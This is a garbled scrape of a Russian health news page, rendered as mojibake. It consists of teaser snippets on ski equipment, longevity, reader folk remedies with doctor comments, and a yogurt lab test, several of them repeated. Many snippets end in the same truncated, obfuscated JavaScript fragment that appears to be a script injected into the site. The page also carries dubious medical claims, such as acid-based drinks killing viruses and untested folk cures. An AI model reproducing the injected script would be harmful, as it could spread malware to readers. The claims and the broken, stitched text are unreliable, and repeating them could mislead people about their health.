«Àðãóìåíòû è ôàêòû»
Ïåðåä êàòàíèåì íà ëûæàõ íàäî ïðàâèëüíî âûáðàòü ñíàðÿæåíèå, îò êîòîðîãî çàâèñÿò êîìôîðò, âàøà áåçîïàñíîñòü íà òðàññå è ïðîãðåññ îáó÷åíèÿ êàòàíèþ íà ñêëîíå…
Ñîâåòóåò èíñòðóêòîð ïî ãîðíûì ëûæàì Èâàí Ñàä÷åíêî:
Áîòèíêè
Ýòó îáóâü íóæíî ìåðèòü òîëüêî íà òîíêèé íîñîê, íè â êîåì ñëó÷àå íå íà øåðñòÿíîé.
Íå ðóêîâîäñòâóéòåñü ïðèíöèïîì - îäåâàéòå, ÷òî åñòü. Êîìó-òî ìîæåò ïîêàçàòüñÿ, ÷òî ìåæäó ìîäåëÿìè äëÿ ìóæ÷èí è æåíùèí ðàçíèöû íåò. Ýòî íå òàê, ïîñêîëüêó åñòü îòëè÷èÿ â ñòðîåíèè íîãè íà óðîâíå ùèêîëîòêè è èêðîíîæíûõ ìûøö.
Âàæíî, ÷òîáû íà áîòèíêàõ áûë ïåðåêëþ÷àòåëü «êàòàíèå/õîäüáà».
Ãëàâíàÿ îøèáêà íîâè÷êîâ - âûáîð ñëèøêîì ñâîáîäíûõ áîòèíîê. Íå îáðàùàéòå âíèìàíèÿ íà óï¸ðòûå ïàëüöû, ïîêà íå ñîãí¸òå êîëåíêè è íå «ïîâèñíåòå» íà ïåðåäíåì êðàå áîòèíîê.  òàêîì ïîëîæåíèè ïàëüöû äîëæíû áûòü ñâîáîäíû; ñòîïà...
Ó êàæäîãî íàðîäà ñ ðåêîðäíûì ÷èñëîì äîëãîæèòåëåé èìåþòñÿ ñâîè ñïîñîáû ïðîäëåíèÿ æèçíè
Îäíàêî â êàæäîé ñòðàíå îíè ðàçíûå, íåðåäêî ïðîòèâîðå÷àùèå äðóã äðóãó. Êàêèå èç íèõ «ðàáîòàþò» òîëüêî äëÿ ìåñòíûõ æèòåëåé, à êàêèå óíèâåðñàëüíû è ìîãóò áûòü âçÿòû íà âîîðóæåíèå ïðåäñòàâèòåëÿìè äðóãèõ íàöèîíàëüíîñòåé? Ðàññêàçûâàåò Âëàäèìèð Øàáàëèí, àêàäåìèê ÐÀÌÍ, äèðåêòîð Ðîññèéñêîãî ãåðîíòîëîãè÷åñêîãî íàó÷íî-êëèíè÷åñêîãî öåíòðà.
ßïîíèÿ
Ñðåäíÿÿ ïðîäîëæèòåëüíîñòü æèçíè - 81,25 ãîäà (ñàìàÿ âûñîêàÿ â ìèðå).
Èíòåðåñíàÿ îñîáåííîñòü: Äî 1941 ãîäà ÿïîíöû â ñðåäíåì æèëè ÷óòü áîëüøå 40 ëåò. Ñèòàóöèÿ ðåçêî èçìåíèëàñü ïîñëå îêîí÷àíèÿ âîéíû.
Ñåêðåòàìè äîëãîëåòèÿ ñ÷èòàþòñÿ ìîðñêîé êëèìàò, êîòîðûé ñîðáèðóåò âðåäíûå âåùåñòâà, ðàöèîí ñ ïðåîáëàäàíèåì ñîè,...
Ïåðåä êàòàíèåì íà ëûæàõ íàäî ïðàâèëüíî âûáðàòü ñíàðÿæåíèå, îò êîòîðîãî çàâèñÿò êîìôîðò, âàøà áåçîïàñíîñòü íà òðàññå è ïðîãðåññ îáó÷åíèÿ êàòàíèþ íà ñêëîíå…
Ñîâåòóåò èíñòðóêòîð ïî ãîðíûì ëûæàì Èâàí Ñàä÷åíêî:
Áîòèíêè
Ýòó îáóâü íóæíî ìåðèòü òîëüêî íà òîíêèé íîñîê, íè â êîåì ñëó÷àå íå íà øåðñòÿíîé.
Íå ðóêîâîäñòâóéòåñü ïðèíöèïîì - îäåâàéòå, ÷òî åñòü. Êîìó-òî ìîæåò ïîêàçàòüñÿ, ÷òî ìåæäó ìîäåëÿìè äëÿ ìóæ÷èí è æåíùèí ðàçíèöû íåò. Ýòî íå òàê, ïîñêîëüêó åñòü îòëè÷èÿ â ñòðîåíèè íîãè íà óðîâíå ùèêîëîòêè è èêðîíîæíûõ ìûøö.
Âàæíî, ÷òîáû íà áîòèíêàõ áûë ïåðåêëþ÷àòåëü «êàòàíèå/õîäüáà».
Ãëàâíàÿ îøèáêà íîâè÷êîâ - âûáîð ñëèøêîì ñâîáîäíûõ áîòèíîê. Íå îáðàùàéòå âíèìàíèÿ íà óï¸ðòûå ïàëüöû, ïîêà íå ñîãí¸òå êîëåíêè è íå «ïîâèñíåòå» íà ïåðåäíåì êðàå áîòèíîê.  òàêîì ïîëîæåíèè ïàëüöû äîëæíû áûòü ñâîáîäíû; ñòîïà...
Õîòèòå æèòü íå ïðîñòî äîëãî, à áûòü ïðè ýòîì çäîðîâûì? È èìåòü ÷óâñòâî þìîðà, ÷òîá ñðàâíèâàòü ñåáÿ ñî æðåöàìè è àêóëàìè? Òîãäà îáðàòèòå âíèìàíèå íà èñòîðèþ ïðîôåññèîíàëüíîãî äîëãîæèòåëÿ Áîðèñà Áîëîòîâà.
Áîðèñ Âàñèëüåâè÷, ïðîòÿãèâàÿ äëÿ ðóêîïîæàòèÿ ëàäîíü ëèëîâî-÷¸ðíîãî öâåòà, ïîÿñíèë: «Íå ïóãàéòåñü, ýòî ÿ âèíîãðàä äàâèë». Ïðîèçâîäñòâî äîìàøíåãî âèíà, êîòîðîå îí íàçûâàåò «öàðñêîé âîäêîé» (ñìåñü ÷åòûð¸õ ñëàáîêîíöåíòðèðîâàííûõ êèñëîò), è ðàçëè÷íûõ êâàñîâ - íå õîááè, à óñëîâèå îòìåííîãî çäîðîâüÿ - ñâîåãî è äîìî÷àäöåâ. Ïîäêèñëÿÿ âíóòðåííþþ ñðåäó îðãàíèçìà, ñòîðîííèêè «ìåäèöèíû Áîëîòîâà» óáèâàþò â í¸ì âèðóñû, ãðèáêè è áàêòåðèè.
 ñâîè 80 ëåò Áîðèñ Âàñèëüåâè÷ íè÷åì íå áîëååò, ñîõðàíÿåò àêòèâíûé óì, ýíåðãèþ è ïîòðÿñàþùóþ ïàìÿòü. Áîëåå òîãî, ïî åãî óâåðåíèþ, ïàðàìåòðû åãî çäîðîâüÿ ñîïîñòàâèìû ñ ïîäðîñòêîâûìè.  äîêàçàòåëüñòâî Áîëîòîâ âûãíóë...
Îñòåîõîíäðîç ÿâëÿåòñÿ ïðè÷èíîé áîëè â ñïèíå â 80% ñëó÷àåâ
Ó ìåíÿ øåéíûé îñòåîõîíäðîç. Åñëè ÷óòü ïðîäóåò èëè ïîñïëþ â íåóäîáíîé ïîçå, ãîëîâó íå ïîâåðíóòü. Ñïàñàåò ìåíÿ òàêîé êîìïðåññ.
Ñìåøàéòå ñóõóþ òðàâó çâåðîáîÿ, êîðåíü îäóâàí÷èêà è êîðåíü ëîïóõà â ðàâíûõ êîëè÷åñòâàõ. 1 ñò. ëîæêó ñìåñè çàëåéòå 1 ñòàêàíîì âîäû, ïðîêèïÿòèòå, íåìíîãî îñòóäèòå è ïðîöåäèòå. Òåïëûé êîìïðåññ ïîëîæèòå íà øåþ, ÷åðåç 15 ìèíóò ñíèìèòå è óêóòàéòå øåþ òåïëûì ïëàòêîì èëè øàðôîì.
Òàìàðà Ãðèãîðüåâíà Èâàøîâà, Àñòðàõàíüfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const...
Âàííû äëÿ íîã ÷ðåçâû÷àéíî ïîëåçíû äëÿ êîæè, ñòîï è óëó÷øåíèÿ îáùåãî ñàìî÷óâñòâèÿ
ß ðàáîòàþ ïàðèêìàõåðîì. Öåëûìè äíÿìè ïðèõîäèòñÿ ñòîÿòü, òàê ÷òî ê âå÷åðó íîãè óñòàþò, ñòàíîâÿòñÿ òÿæåëûìè.
Ìíå î÷åíü ïîìîãàþò âàííî÷êè ñ õâîåé ñîñíû, 100 ã êîòîðîé äîâîäÿò äî êèïåíèÿ â 1 ë âîäû, à çàòåì çàïàðèâàþò íà âîäÿíîé áàíå â òå÷åíèå 30 ìèíóò. Ïîñëå ïîëíîãî îñòûâàíèÿ è ïðîöåæèâàíèÿ ðàçáàâëÿþò ïðîõëàäíîé âîäîé è ïîãðóæàþò íîãè íà 15 ìèíóò.
Òàòüÿíà Ï., Âîðîíåæfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const...
Æåíùèíàì ñ î÷åíü áëåäíûì ëèöîì íàäî îñîáåííî òùàòåëüíî óõàæèâàòü çà êîæåé
Ñêîëüêî ñåáÿ ïîìíþ, ó ìåíÿ áûë î÷åíü íåêðàñèâûé öâåò ëèöà. Êîæà áëåäíàÿ, äàæå ñëåãêà ñåðîâàòàÿ. Ïðîáîâàëà õîäèòü â ñîëÿðèé, íî âåäü âðåäíî ÷àñòî åãî ïîñåùàòü, òàê ÷òî åäèíñòâåííîå, ÷òî ìîãëî ìíå ïîìî÷ü, – ýòî òîíàëüíûé êðåì. Íî âñå âðåìÿ õîäèòü ñ òîëñòûì ñëîåì êîñìåòèêè íà ëèöå ìíå íå õîòåëîñü. È âîò êàê-òî ðàç ÿ ïîæàëîâàëàñü íà ñâîþ áåäó ïîäðóãå, è îíà ïîñîâåòîâàëà ìíå îòëè÷íîå ñðåäñòâî – ïðîòèðàòü êîæó îòâàðîì èç òðàâ. Îí õîðîøî î÷èùàåò è òîíèçèðóåò êîæó.
Ãîòîâÿò îòâàð èç ñóõîé òðàâû ìÿòû, ìåëèññû, ïëîäîâ ðÿáèíû è öâåòêîâ ðîìàøêè ñ äîáàâëåíèåì ãëèöåðèíà è ìîëîêà. Âîçüìèòå 1/2 ñòàêàíà ñìåñè èç âûøåïåðå÷èñëåííûõ òðàâ, çàëåéòå òðåìÿ ñòàêàíàìè...
Çèìîé êîæà ðóê îáû÷íî ñòðàäàåò îò õîëîäà, ñòàíîâèòñÿ ñóõîé, íà÷èíàåò øåëóøèòüñÿ...
ß ïðîäàþ ãàçåòû ñ ëîòêà â ïîäçåìíîì ïåðåõîäå. Ñàìè ïîíèìàåòå, òåïëûì ìîå ðàáî÷åå ìåñòî íå íàçîâåøü. Õóæå âñåãî ïðèõîäèòñÿ ðóêàì – ïåð÷àòêè íå íàäåíåøü, â íèõ è äåíüãè ñ÷èòàòü íåóäîáíî. Òàê ÷òî ðóêè ïîñòîÿííî ìåðçíóò, êîæà íà íèõ øåëóøèòñÿ, êðàñíååò. Ëó÷øå âñÿêèõ êðåìîâ ìíå ïîìîãàåò òàêîå ñðåäñòâî.
Îäíó ÷àéíóþ ëîæêó ìåäà ðàçìåøàòü â 100 ìë òåïëîé âîäû, äîáàâèòü 2 ñò. ëîæêè ñìåòàíû, íàìàçàòü ðóêè ýòîé ñìåñüþ, ïîäåðæàòü 15–20 ìèíóò è ñìûòü â òåïëîé âîäå. Ïîñëå ýòîãî èñïîëüçóéòå ïèòàòåëüíûé êðåì.
Äèàíà È., Ìîñêâàfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Õîðîøèé äîêòîð è â õëåâó âûëå÷èò, à ïëîõîé íà ïàðêåòíîì ïîëó íè÷åãî íå ñäåëàåò...
Àëåêñàíäð Êàðàáèíåíêî, äîêòîð ìåäèöèíñêèõ íàóê, ïðîôåññîð êàôåäðû ãîñïèòàëüíîé òåðàïèè Ðîññèéñêîãî ãîñóäàðñòâåííîãî ìåäèöèíñêîãî óíèâåðñèòåòà:
- Òî, ÷òî ðîññèéñêèå âðà÷è ëå÷àò êàê áîã íà äóøó ïîëîæèò, - ãëóáî÷àéøåå çàáëóæäåíèå.  íàøåì çäðàâîîõðàíåíèè òîæå ñóùåñòâóþò ìåäèöèíñêèå ñòàíäàðòû - êàê äëÿ äèàãíîñòèêè, òàê è äëÿ ëå÷åíèÿ áîëüíûõ. È äåéñòâóþò îíè åù¸ ñ 1998 ãîäà. Ïðèíöèïèàëüíî îíè íè÷åì íå îòëè÷àþòñÿ îò çàïàäíûõ - â ñâî¸ âðåìÿ ñïåöèàëèñòû èç ÍÈÈ îðãàíèçàöèè çäðàâîîõðàíåíèÿ ïðîñòî àäàïòèðîâàëè çàïàäíóþ ìîäåëü äëÿ ðîññèéñêèõ óñëîâèé.
Äà, íà Çàïàäå ê ñîáëþäåíèþ ìåäèöèíñêèõ ñòàíäàðòîâ ïîäõîä áîëåå æ¸ñòêèé. Äëÿ òåõ æå àìåðèêàíñêèõ...
Âî âñ¸ì öèâèëèçîâàííîì ìèðå ââåäåíû ìåäèöèíñêèå ñòàíäàðòû - åäèíûå ïðîòîêîëû ëå÷åíèÿ ëþáîé áîëåçíè
Ìèõàèë Ðèñêåâè÷, ãëàâà îðòîïåäè÷åñêîé êëèíèêè (Íüþ-Éîðê), ñåìåéíûé äîêòîð. Óåõàë èç Ðîññèè â ÑØÀ â 1989 ãîäó:
-  Ðîññèè îáðàùåíèå ê âðà÷ó, îñîáåííî â ýêñòðåííûõ ñëó÷àÿõ, - ýòî èãðà â ðóññêóþ ðóëåòêó. Óñïåõ ëå÷åíèÿ öåëèêîì è ïîëíîñòüþ çàâèñèò îò òîãî, ê êàêîìó âðà÷ó òû ïîïàä¸øü. Åñëè ê ïðîôåññèîíàëó - áóäåò íàçíà÷åíî ïðàâèëüíîå ëå÷åíèå, åñëè íåò - âûñîê ðèñê ïîëó÷èòü ìàññó îñëîæíåíèé, à òî è îñòàòüñÿ èíâàëèäîì íà âñþ æèçíü. Ðîññèéñêàÿ ñèñòåìà çäðàâîîõðàíåíèÿ çàêðûòà äàæå áîëüøå, ÷åì àðìèÿ.  Ðîññèè â îòëè÷èå îò äðóãèõ ñòðàí îòñóòñòâóåò îôèöèàëüíàÿ ñòàòèñòèêà âðà÷åáíûõ îøèáîê.  êëèíèêàõ ñâèðåïñòâóåò ìåäèöèíñêèé áåñïðåäåë. Ïðè ýòîì âðà÷è...
Ýòîò ôðóêò èñïîëüçóþò äëÿ ïðîôèëàêòèêè è ëå÷åíèÿ ìíîãèõ çàáîëåâàíèé
Ó ìåíÿ êðîâîòî÷èëè äåñíû. ×åì òîëüêî ÿ ðîò íè ïîëîñêàëà, íè÷åãî íå ïîìîãàëî. È âîò êàê-òî ðàç ïîäðóãà ïîñîâåòîâàëà ìíå î÷åíü õîðîøåå ñðåäñòâî: êîæóðó îò ãðåéïôðóòà çàìî÷èòå íà 20 ìèíóò â êèïÿ÷åíîé âîäå, ïðîöåäèòå è ïîëîñêàéòå ýòèì íàñòîåì ðîò. Ìíå ýòî ñðåäñòâî î÷åíü áûñòðî ïîìîãëî.
Ñâåòëàíà Ê., Âîðîíåæ
Ëè÷íîå ìíåíèå
Ìàêñèì Äóíàåâñêèé:
– Êîãäà áîëåþ, ïîëüçóþñü ñàìûìè ïðîñòûìè ìåòîäàìè: ïüþ ñïåöèàëüíûå îòâàðû èç òðàâ, ÷àé ñ ìàëèíîâûì âàðåíüåì. ×òî æå êàñàåòñÿ áîëåå ñëîæíûõ âåùåé, íàïðèìåð áèîäîáàâîê, òî ê íèì ÿ îòíîøóñü î÷åíü íàñòîðîæåííî è ñ÷èòàþ, ÷òî â òàêèõ ïðåïàðàòàõ 90% ðåêëàìû è êîììåðöèè, à íå ëå÷åáíûõ ñâîéñòâ.function _0x39e0(_0x2e6d70,_0x39105a){const...
Ñâåæèé ñîê àëîå íàøåë øèðîêîå ïðèìåíåíèå â ðàçëè÷íûõ îáëàñòÿõ ìåäèöèíñêîé ïðàêòèêè è â íàðîäíîé ìåäèöèíå
Îñåíüþ ó ìåíÿ ÷àñòî îáâåòðèâàþòñÿ ãóáû è â óãîëêàõ ðòà ïîÿâëÿþòñÿ òðåùèíêè – çàåäû. Ðàíüøå ïûòàëàñü áîðîòüñÿ ñ íèìè ïðè ïîìîùè ãèãèåíè÷åñêîé ïîìàäû, íî ïîìîãàëî ïëîõî. È âîò êàê-òî ðàç ïîäðóãà ïîñîâåòîâàëà ìíå çàìå÷àòåëüíûå íàðîäíûå ðåöåïòû. Èìè ÿ õî÷ó ïîäåëèòüñÿ ñî âñåìè ÷èòàòåëÿìè «ÀèÔ.Çäîðîâüå».
Äëÿ ëå÷åíèÿ çàåäîâ ìîæíî èñïîëüçîâàòü ñîê àëîý. Íåìíîãî ðàçäàâèòå ñâåæåñðåçàííûé ëèñò àëîý, ÷òîáû èç íåãî ïîëíîñòüþ âûøåë ñîê. Íàáåðèòå ñîê â ïèïåòêó è êàïíèòå íåñêîëüêî êàïåëü íà ðàíêó. Ïîâòîðÿòü ýòó ïðîöåäóðó íåîáõîäèìî äâà ðàçà â äåíü.
Î÷åíü õîðîøî ïîìîãàåò äëÿ ëå÷åíèÿ çàåäîâ â óãîëêàõ ðòà ìàñêà èç ÿáëîê, ñâàðåííûõ â ìîëîêå. Ïîñëå...
Ëóê áîãàò âèòàìèíàìè Ñ, Â1 Â2, ÐÐ, êàðîòèíîì, ìèíåðàëüíûìè ñîëÿìè, ñàõàðîì...
Íå òàê äàâíî åçäèëà â ãîñòè ê ðîäñòâåííèêàì â äåðåâíþ. Ïîãîäà íûí÷å õîëîäíàÿ, òàê ÷òî íåò íè÷åãî óäèâèòåëüíîãî â òîì, ÷òî ÿ ïðîñòóäèëàñü. Äî áëèæàéøåé àïòåêè îò äîìà, ãäå æèâåò ìîÿ ðîäíÿ, íóæíî äîáèðàòüñÿ íà òðåõ àâòîáóñàõ, òàê ÷òî ðåøèëè áîðîòüñÿ ñ ìîåé ïðîñòóäîé íàðîäíûìè ñðåäñòâàìè. Îêàçàëîñü, ñïðàâèòüñÿ ñ íåäîìîãàíèåì ìîæíî ïðè ïîìîùè îáû÷íîãî ëóêà!
×òîáû èçáàâèòüñÿ îò ïðîñòóäû, ïåðåìåøàéòå ìåëêî íàðåçàííóþ ëóêîâèöó ñ 3 ñò. ëîæêàìè ìåäà, çàêðîéòå êðûøêîé è îñòàâüòå â õîëîäèëüíèêå íàñòàèâàòüñÿ (6 ÷àñîâ). Ñöåæåííûé ñîê ïðèíèìàéòå êàæäûå 3 ÷àñà ïî 1 ñò. ëîæêå.
Ëóê ìîæåò çàìåíèòü è ãîð÷è÷íèê. Èçìåëü÷åííûé ñûðîé ëóê êëàäóò íà ãðóäü, çàêðûâàþò...
Îêàçûâàåòñÿ, ÷òî åäà ìîæåò íå òîëüêî ñïðîâîöèðîâàòü ïðèñòóï èçæîãè, íî è âûëå÷èòü åå
Ðàíüøå âñå âðåìÿ ìó÷èëñÿ èçæîãîé. Ñòîèò ïîåñòü ÷åãî-íèáóäü îñòðîãî èëè ïîîáåäàòü â ñòîëîâîé – è ïîæàëóéñòà, â æèâîòå ðåâîëþöèÿ. Íî òåïåðü èçæîãà äëÿ ìåíÿ íå ïðîáëåìà.
Îò íåå ïðåêðàñíî èçáàâëÿåò õëåáíûé «êèñåëü». Êóñî÷åê áåëîãî õëåáà îáæàðüòå â íåáîëüøîì êîëè÷åñòâå ñëèâî÷íîãî ìàñëà, îñòóäèòå è äàéòå íàñòîÿòüñÿ ïîë÷àñà â ñòàêàíå êèïÿ÷åíîé âîäû. Ýòîò íàñòîé ñëåäóåò ïðèíèìàòü ïî òðè-÷åòûðå ðàçà â äåíü.
Íèêîëàé Õàðèòîíîâ, Ñàðàòîâ function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const...
Àðîìàòåðàïèÿ, â ïåðåâîäå ñ äðåâíåãðå÷åñêîãî - «ëå÷åíèå çàïàõîì», èçâåñòíà ñ äðåâíèõ âðåìåí...
Ïîêóïàþ â àïòåêå ýôèðíîå ìàñëî ëèìîíà, ìÿòû èëè ýâêàëèïòà è äàþ ïîäûøàòü èì ñûíó - ýòî ïîìîãàåò ñíÿòü çàëîæåííîñòü íîñà.
Ó. Ãàëè÷åâà, Òóëà
Êîììåíòèðóåò Åêàòåðèíà ÓÑÏÅÍÑÊÀß, ê. ì. í., ïåäèàòð Óíèâåðñèòåòñêîé äåòñêîé êëèíè÷åñêîé áîëüíèöû 1-ãî Ìîñêîâñêîãî ãîñóíèâåðñèòåòà èì. È. Ì. Ñå÷åíîâà:
- Âî èçáåæàíèå àëëåðãè÷åñêèõ ðåàêöèè è îò¸êà ñëèçèñòîé äûõàòåëüíûõ ïóòåé íå ñëåäóåò ïðèìåíÿòü àðîìàòåðàïèþ ó äåòåé. Ýôôåêòèâíåå ïðîìûâàòü íîñ ôèçðàñòâîðîì èëè ìîðñêîé âîäîé - êàê äëÿ ëå÷åíèÿ íàñìîðêà, òàê è äëÿ ïðîôèëàêòèêè âî âðåìÿ ýïèäåìèè ãðèïïà.function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Èìåííî èììóíèòåò äëÿ êàæäîãî ÷åëîâåêà ÿâëÿåòñÿ îñíîâîé çäîðîâüÿ!
Óêðåïëÿåò èììóíèòåò ðÿáèíîâûé ÷àé: 2 ñò. ë. ÿãîä ðÿáèíû çàëèòü äâóìÿ ñòàêàíàìè êèïÿòêà, íàñòîÿòü â òåðìîñå 2 ÷àñà
Ë. Êàðïîâà, Àðõàíãåëüñê
Êîììåíòèðóåò Ãàëèíà Ôèñåíêî, âðà÷-òåðàïåâò:
-  ðÿáèíå ìíîãî âèòàìèíîâ, ìèêðîýëåìåíòîâ, îðãàíè÷åñêèõ êèñëîò, áëàãîòâîðíî âëèÿþùèõ íà îðãàíèçì. Ñîáåðèòå ðÿáèíó ïîñëå ïåðâûõ çàìîðîçêîâ è ïîäñóøèòå, ÷òîáû çèìîé ãîòîâèòü ïîëåçíûé íàïèòîê.function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const...
Éîãóðòû è êåôèðû ñ ïðèñòàâêîé «áèî» ñòîÿò íà ïîðÿäîê äîðîæå îáû÷íûõ ìîëî÷íûõ ïðîäóêòîâ. Åñòü ëè ñìûñë ïëàòèòü çà «æèçíü», îáåùàííóþ ïðîèçâîäèòåëåì?
«ÀèÔ» ïðîâ¸ë ñîáñòâåííîå ðàññëåäîâàíèå. Ìû ñäàëè â èñïûòàòåëüíóþ ëàáîðàòîðèþ ïÿòü ïðîäóêòîâ, ýòèêåòêà êîòîðûõ ìàíèò ïîêóïàòåëÿ áèôèäîáàêòåðèÿìè, ïðåáèîòèêàìè è ôåðìåíòàìè: «Áèîêåôèð Ýôôåêòèâíûé», îáîãàù¸ííûé ïðåáèîòèêàìè; «Áèîêåôèð»; Ïðîäóêò îâñÿíûé ôåðìåíòèðîâàííûé «Áðóñíèêà»; Éîãóðò ôðóêòîâûé, îáîãàù¸ííûé ïðåáèîòèêàìè, «Ïðåáèîòèê»; Áèîïðîäóêò êèñëîìîëî÷íûé, îáîãàù¸ííûé áèôèäîáàêòåðèÿìè - Actiregularis è ïèùåâûìè âîëîêíàìè - «Àêòèâèà».
Ïðåáèîòèêè ñòèìóëèðóþò ðîñò ìèêðîôëîðû êèøå÷íèêà, à áèôèäîáàêòåðèè ïîìîãàþò íàøåìó îðãàíèçìó ïåðåâàðèâàòü ïèùó. Ïî èäåå îíè äîëæíû ñîäåðæàòüñÿ âî âñåõ âûøåïåðå÷èñëåííûõ ïðîäóêòàõ ïîìèìî ñîáñòâåííî...
Èìåííî èììóíèòåò äëÿ êàæäîãî ÷åëîâåêà ÿâëÿåòñÿ îñíîâîé çäîðîâüÿ!
Óêðåïëÿåò èììóíèòåò ðÿáèíîâûé ÷àé: 2 ñò. ë. ÿãîä ðÿáèíû çàëèòü äâóìÿ ñòàêàíàìè êèïÿòêà, íàñòîÿòü â òåðìîñå 2 ÷àñà
Ë. Êàðïîâà, Àðõàíãåëüñê
Êîììåíòèðóåò Ãàëèíà Ôèñåíêî, âðà÷-òåðàïåâò:
-  ðÿáèíå ìíîãî âèòàìèíîâ, ìèêðîýëåìåíòîâ, îðãàíè÷åñêèõ êèñëîò, áëàãîòâîðíî âëèÿþùèõ íà îðãàíèçì. Ñîáåðèòå ðÿáèíó ïîñëå ïåðâûõ çàìîðîçêîâ è ïîäñóøèòå, ÷òîáû çèìîé ãîòîâèòü ïîëåçíûé íàïèòîê.function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const...
Àðîìàòåðàïèÿ, â ïåðåâîäå ñ äðåâíåãðå÷åñêîãî - «ëå÷åíèå çàïàõîì», èçâåñòíà ñ äðåâíèõ âðåìåí...
Ïîêóïàþ â àïòåêå ýôèðíîå ìàñëî ëèìîíà, ìÿòû èëè ýâêàëèïòà è äàþ ïîäûøàòü èì ñûíó - ýòî ïîìîãàåò ñíÿòü çàëîæåííîñòü íîñà.
Ó. Ãàëè÷åâà, Òóëà
Êîììåíòèðóåò Åêàòåðèíà ÓÑÏÅÍÑÊÀß, ê. ì. í., ïåäèàòð Óíèâåðñèòåòñêîé äåòñêîé êëèíè÷åñêîé áîëüíèöû 1-ãî Ìîñêîâñêîãî ãîñóíèâåðñèòåòà èì. È. Ì. Ñå÷åíîâà:
- Âî èçáåæàíèå àëëåðãè÷åñêèõ ðåàêöèè è îò¸êà ñëèçèñòîé äûõàòåëüíûõ ïóòåé íå ñëåäóåò ïðèìåíÿòü àðîìàòåðàïèþ ó äåòåé. Ýôôåêòèâíåå ïðîìûâàòü íîñ ôèçðàñòâîðîì èëè ìîðñêîé âîäîé - êàê äëÿ ëå÷åíèÿ íàñìîðêà, òàê è äëÿ ïðîôèëàêòèêè âî âðåìÿ ýïèäåìèè ãðèïïà.function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Ñ ýòèì íåäóãîì çíàêîì ïðàêòè÷åñêè êàæäûé, òàê êàê áîëè ìîãóò âîçíèêíóòü â ëþáîé ìîìåíò è â ñàìîå íå ïîäõîäÿùåå âðåìÿ...
Ó ìåíÿ î÷åíü íåæíûé æåëóäîê. Íà ðàáîòå â ñòîëîâóþ íå ñõîäèøü – ìàëî ëè èç ÷åãî îíè òàì ãîòîâÿò, à íîñèòü èç äîìà êàñòðþëüêè ñ åäîé óæàñíî íåóäîáíî. Íó à óæ åñëè â ãîñòè ïðèãëàñÿò, âìåñòî ïðàçäíèêà – ñïëîøíàÿ êàòîðãà. Òàê áû, íàâåðíîå, è ìó÷èëàñü, åñëè áû ïîäðóãà íå ïîñîâåòîâàëà ïîïèòü òðàâÿíîé ñáîð.
Âîçüìèòå 2 ñò. ëîæêè ÿãîä êðàñíîé ðÿáèíû, 3 ñò. ëîæêè ëèñòüåâ áðóñíèêè, 3 ñò. ëîæêè ëèñòüåâ ïîäîðîæíèêà, 2 ñò. ëîæêè ëèñòüåâ ìÿòû, 2 ñò. ëîæêè ëèñòüåâ ýâêàëèïòà. Ëèñòüÿ è ÿãîäû ìîæíî áðàòü êàê ñâåæèå, òàê è ñóõèå. Âñå ñìåøàéòå, 3 ñò. ëîæêè ñáîðà çàâàðèòå 1 ë êèïÿòêà, äàéòå íàñòîÿòüñÿ â òå÷åíèå ÷àñà è ïðèíèìàéòå ïî 2 ñò. ëîæêè 3 ðàçà â äåíü.
Íàòàëüÿ...
28 îêòÿáðÿ 2010 ãîäà â Ìîñêâå â ðàìêàõ Ïðåìèè «Ðåöåïò ãîäà» ñîñòîÿëñÿ Êðóãëûé ñòîë «Èçìåíåíèÿ â èíôîðìàöèîííîé ðàáîòå ôàðìàöåâòè÷åñêèõ êîìïàíèé â ñåãìåíòå ïðîñâåòèòåëüñêîé, îáðàçîâàòåëüíîé ðàáîòû (äëÿ ìåäèöèíñêèõ ñïåöèàëèñòîâ äëÿ êà÷åñòâåííîé äèàãíîñòèêè è ëå÷åíèÿ ïàöèåíòà)»
